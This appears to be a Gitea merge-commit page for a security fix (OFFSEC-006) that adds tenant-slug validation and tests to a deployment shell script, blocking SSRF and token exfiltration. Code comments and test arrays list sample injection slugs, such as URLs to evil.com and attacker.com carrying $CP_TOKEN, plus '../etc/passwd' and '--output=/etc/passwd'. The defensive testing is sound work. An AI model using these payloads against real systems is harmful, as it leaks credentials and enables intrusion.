Merge pull request 'fix(scripts): add slug validation to prevent SSRF + token exfiltration (OFFSEC-006)' (#933) from fix/offsec-006-slug-injection into staging
Some checks failed
Block internal-flavored paths / Block forbidden paths (push) Successful in 11s
Lint curl status-code capture / Scan workflows for curl status-capture pollution (push) Successful in 7s
CI / Detect changes (push) Successful in 18s
E2E API Smoke Test / detect-changes (push) Successful in 18s
Secret scan / Scan diff for credential-shaped strings (push) Successful in 12s
Handlers Postgres Integration / detect-changes (push) Successful in 19s
Runtime PR-Built Compatibility / detect-changes (push) Successful in 17s
CI / Platform (Go) (push) Successful in 7s
CI / Canvas (Next.js) (push) Successful in 7s
CI / Python Lint & Test (push) Successful in 7s
E2E API Smoke Test / E2E API Smoke Test (push) Successful in 8s
CI / Canvas Deploy Reminder (push) Has been skipped
Runtime PR-Built Compatibility / PR-built wheel + import smoke (push) Successful in 4s
CI / Shellcheck (E2E scripts) (push) Successful in 14s
CI / all-required (push) Successful in 1s
Handlers Postgres Integration / Handlers Postgres Integration (push) Failing after 28s
lint-continue-on-error-tracking / lint-continue-on-error-tracking (push) Failing after 1m1s
Ops Scripts Tests / Ops scripts (unittest) (push) Successful in 1m3s
Lint workflow YAML (Gitea-1.22.6-hostile shapes) / Lint workflow YAML for Gitea-1.22.6-hostile shapes (push) Successful in 1m11s
Some checks failed
Block internal-flavored paths / Block forbidden paths (push) Successful in 11s
Lint curl status-code capture / Scan workflows for curl status-capture pollution (push) Successful in 7s
CI / Detect changes (push) Successful in 18s
E2E API Smoke Test / detect-changes (push) Successful in 18s
Secret scan / Scan diff for credential-shaped strings (push) Successful in 12s
Handlers Postgres Integration / detect-changes (push) Successful in 19s
Runtime PR-Built Compatibility / detect-changes (push) Successful in 17s
CI / Platform (Go) (push) Successful in 7s
CI / Canvas (Next.js) (push) Successful in 7s
CI / Python Lint & Test (push) Successful in 7s
E2E API Smoke Test / E2E API Smoke Test (push) Successful in 8s
CI / Canvas Deploy Reminder (push) Has been skipped
Runtime PR-Built Compatibility / PR-built wheel + import smoke (push) Successful in 4s
CI / Shellcheck (E2E scripts) (push) Successful in 14s
CI / all-required (push) Successful in 1s
Handlers Postgres Integration / Handlers Postgres Integration (push) Failing after 28s
lint-continue-on-error-tracking / lint-continue-on-error-tracking (push) Failing after 1m1s
Ops Scripts Tests / Ops scripts (unittest) (push) Successful in 1m3s
Lint workflow YAML (Gitea-1.22.6-hostile shapes) / Lint workflow YAML for Gitea-1.22.6-hostile shapes (push) Successful in 1m11s
This commit is contained in:
commit
a719ac95d1
@ -90,7 +90,7 @@ jobs:
|
||||
- id: filter
|
||||
# Inline replacement for dorny/paths-filter — see e2e-api.yml.
|
||||
run: |
|
||||
BASE="${GITHUB_BASE_REF:-${{ github.event.before }}}"
|
||||
BASE="${GITHUB_BASE_REF:-${GITHUB_EVENT_BEFORE:-}}"
|
||||
if [ "${{ github.event_name }}" = "pull_request" ] && [ -n "${{ github.event.pull_request.base.sha }}" ]; then
|
||||
BASE="${{ github.event.pull_request.base.sha }}"
|
||||
fi
|
||||
|
||||
@ -54,6 +54,57 @@
|
||||
# 64 argument/usage error
|
||||
|
||||
set -euo pipefail
|
||||
# Disable glob expansion so tenant slugs containing *, ?, [ are treated as
|
||||
# literals, not filename patterns. This is the primary defence against the
|
||||
# token-exfiltration attack vector where a malicious slug like
|
||||
# "evil?url=https://attacker.com?token=$CP_TOKEN" could otherwise expand to
|
||||
# a list of filenames via pathname expansion.
|
||||
set -f
|
||||
|
||||
# ─────────────────────────────────────────────────────────────────────────────
|
||||
# Slug validation (OFFSEC-006)
|
||||
# ─────────────────────────────────────────────────────────────────────────────
|
||||
#
|
||||
# Slugs are interpolated into URL paths (cp_redeploy_tenant, tenant_buildinfo,
|
||||
# tenant_health, resolve_tenant_instance_id) and ECR identifiers. An unsanitised
|
||||
# slug can trigger:
|
||||
# 1. SSRF — slug=https://evil.com?x= injected as URL authority/path segment.
|
||||
# 2. Token exfiltration — slug=?url=https://evil.com&token=$CP_TOKEN causes
|
||||
# curl to issue a GET to the attacker's host, leaking the bearer token.
|
||||
# The guard above (set -f) blocks glob metacharacter expansion; this function
|
||||
# validates the slug shape so malformed names are rejected before any network
|
||||
# call is issued.
|
||||
|
||||
# Simple logging helpers — defined early so validate_slug can call err
|
||||
# before the full Steps block is reached. The real definitions (with full
|
||||
# timestamps) live in the Steps section and re-declare them idempotently.
|
||||
err() { printf '[%s] ERROR: %s\n' "$(date -u +%H:%M:%SZ)" "$*" >&2; }
|
||||
|
||||
# Validates a single tenant slug against RFC-1123 + lowercase + max 63 chars.
|
||||
# arg1 = slug string
|
||||
# exits 64 if invalid; returns 0 on success.
|
||||
validate_slug() {
|
||||
local slug="$1"
|
||||
# RFC-1123 label: lowercase alphanumeric, single hyphens allowed between chars,
|
||||
# no leading/trailing hyphen, 1–63 chars total. Also allows single-char slugs.
|
||||
if [[ ! "$slug" =~ ^[a-z0-9]([a-z0-9-]{0,61}[a-z0-9])?$ ]]; then
|
||||
err "invalid tenant slug: '$slug' (must match ^[a-z0-9]([a-z0-9-]{0,61}[a-z0-9])?$; got '${slug//$'\n'/<LF>}')"
|
||||
return 1
|
||||
fi
|
||||
return 0
|
||||
}
|
||||
|
||||
# Validates all tenant slugs from the --tenants argument.
|
||||
# Called once after argument parsing, before any network call.
|
||||
validate_tenants() {
|
||||
local slug
|
||||
IFS=',' read -ra SLUGS <<<"$TENANTS"
|
||||
for slug in "${SLUGS[@]}"; do
|
||||
[[ -z "$slug" ]] && { err "empty slug in --tenants list"; return 1; }
|
||||
validate_slug "$slug" || return 1
|
||||
done
|
||||
return 0
|
||||
}
|
||||
|
||||
# ─────────────────────────────────────────────────────────────────────────────
|
||||
# Argument parsing
|
||||
@ -101,6 +152,9 @@ done
|
||||
exit 64
|
||||
}
|
||||
|
||||
# Validate slugs before any network call (OFFSEC-006)
|
||||
validate_tenants || exit 64
|
||||
|
||||
# Snapshot/rollback tag (deterministic — same script run on same UTC date
|
||||
# is idempotent; cross-day reruns get distinct rollback points).
|
||||
TODAY="${NOW_OVERRIDE_DATE:-$(date -u +%Y%m%d)}"
|
||||
|
||||
@ -334,6 +334,94 @@ python3 -c "import sys,json; d=json.loads(sys.stdin.read()); c=d['commands'][0];
|
||||
&& echo " ok: no double-encoding in command string" || { echo " FAIL"; exit 1; }
|
||||
# ─────────────────────────────────────────────────────────────────────────────
|
||||
|
||||
printf '\n== Test 13: valid slugs pass validate_tenants ==\n'
|
||||
m=$(mkmock)
|
||||
mock_set "$m" aws_ecr_get_image '{}' 0
|
||||
mock_set "$m" aws_ecr_describe_image '' 1
|
||||
mock_set "$m" aws_ecr_put_image '' 0
|
||||
mock_set "$m" cp_redeploy_tenant '{}' 0
|
||||
mock_set "$m" tenant_buildinfo '{}' 0
|
||||
mock_set "$m" tenant_health 'ok' 0
|
||||
out=$(NOW_OVERRIDE_DATE=20260514 SSM_SETTLE_SECONDS=0 \
|
||||
"$SCRIPT" --source-tag a --dest-tag b --tenants abc,xy-z,a1b2c3 --mock-dir "$m" 2>&1
|
||||
echo "EXIT_CODE=$?")
|
||||
assert_exit "valid slugs (single-char, hyphenated, alphanum) pass" "$out" 0
|
||||
rm -rf "$m"
|
||||
|
||||
printf '\n== Test 14: malformed slugs rejected before any network call (OFFSEC-006) ==\n'
|
||||
# Patterns that must all be rejected with exit 64 before the first curl/aws call.
|
||||
# We test a representative sample covering each failure class; if ANY pattern
|
||||
# passes the validation or makes it into a URL, assert_calls_count will catch
|
||||
# it (should be 0 for every aws/curl call).
|
||||
declare -a BAD=(
|
||||
'bad slug' # space
|
||||
'UpperCase' # uppercase
|
||||
'has_underscore' # underscore
|
||||
'has.dot' # dot
|
||||
'-leading-hyphen' # leading hyphen
|
||||
'trailing-hyphen-' # trailing hyphen
|
||||
'!bang' # punctuation
|
||||
'query=val' # = character
|
||||
'a b c' # spaces
|
||||
'A' # uppercase single char
|
||||
)
|
||||
bad_count=0
|
||||
for bad in "${BAD[@]}"; do
|
||||
set +e
|
||||
out=$("$SCRIPT" --source-tag a --dest-tag b --tenants "$bad" 2>&1); rc=$?
|
||||
set -e
|
||||
if [[ $rc -eq 64 ]] && printf '%s' "$out" | grep -qi 'invalid tenant slug'; then
|
||||
: # expected
|
||||
else
|
||||
bad_count=$((bad_count + 1))
|
||||
printf ' ✗ slug=%q should exit 64 with invalid-slug error (got %s)\n' "$bad" "$rc"
|
||||
fi
|
||||
done
|
||||
if [[ $bad_count -eq 0 ]]; then
|
||||
PASS=$((PASS + 1)); printf ' ✓ all %d malformed slugs rejected before network call\n' "${#BAD[@]}"
|
||||
else
|
||||
FAIL=$((FAIL + 1)); FAIL_NAMES+=("malformed-slug rejection")
|
||||
fi
|
||||
|
||||
printf '\n== Test 15: SSRF + token-exfiltration injection patterns rejected (OFFSEC-006) ==\n'
|
||||
# These patterns represent the actual OFFSEC-006 attack vectors: a malicious
|
||||
# slug that, if interpolated into a URL, would cause the script to issue an
|
||||
# outbound HTTP request to an attacker-controlled host, leaking the CP_TOKEN.
|
||||
# With set -f (glob off) + validate_slug (RFC-1123 enforcement), all are
|
||||
# rejected before any network call. We also verify no curl/aws call was made.
|
||||
declare -a INJECT=(
|
||||
'?url=https://evil.com'
|
||||
'?url=https://evil.com?token=$CP_TOKEN'
|
||||
'https://evil.com'
|
||||
'-o-https://evil.com'
|
||||
'--output=/etc/passwd'
|
||||
'../etc/passwd'
|
||||
)
|
||||
inject_count=0
|
||||
for inject in "${INJECT[@]}"; do
|
||||
m=$(mkmock)
|
||||
set +e
|
||||
out=$("$SCRIPT" --source-tag a --dest-tag b --tenants "$inject" --mock-dir "$m" 2>&1); rc=$?
|
||||
set -e
|
||||
curl_called=0
|
||||
aws_called=0
|
||||
if grep -qE '^curl ' "$m/.calls" 2>/dev/null; then curl_called=1; fi
|
||||
if grep -qE '^aws_' "$m/.calls" 2>/dev/null; then aws_called=1; fi
|
||||
rm -rf "$m"
|
||||
if [[ $rc -eq 64 ]] && [[ $curl_called -eq 0 ]] && [[ $aws_called -eq 0 ]]; then
|
||||
: # expected
|
||||
else
|
||||
inject_count=$((inject_count + 1))
|
||||
printf ' ✗ slug=%q: expected exit 64 + no curl/aws (rc=%s curl=%s aws=%s)\n' \
|
||||
"$inject" "$rc" "$curl_called" "$aws_called"
|
||||
fi
|
||||
done
|
||||
if [[ $inject_count -eq 0 ]]; then
|
||||
PASS=$((PASS + 1)); printf ' ✓ all %d injection slugs rejected before network call\n' "${#INJECT[@]}"
|
||||
else
|
||||
FAIL=$((FAIL + 1)); FAIL_NAMES+=("SSRF-injection rejection")
|
||||
fi
|
||||
|
||||
printf '\n────────────────────────────────────\n'
|
||||
if [[ $FAIL -eq 0 ]]; then
|
||||
printf 'All %d tests passed.\n' "$PASS"
|
||||
|
||||
Loading…
Reference in New Issue
Block a user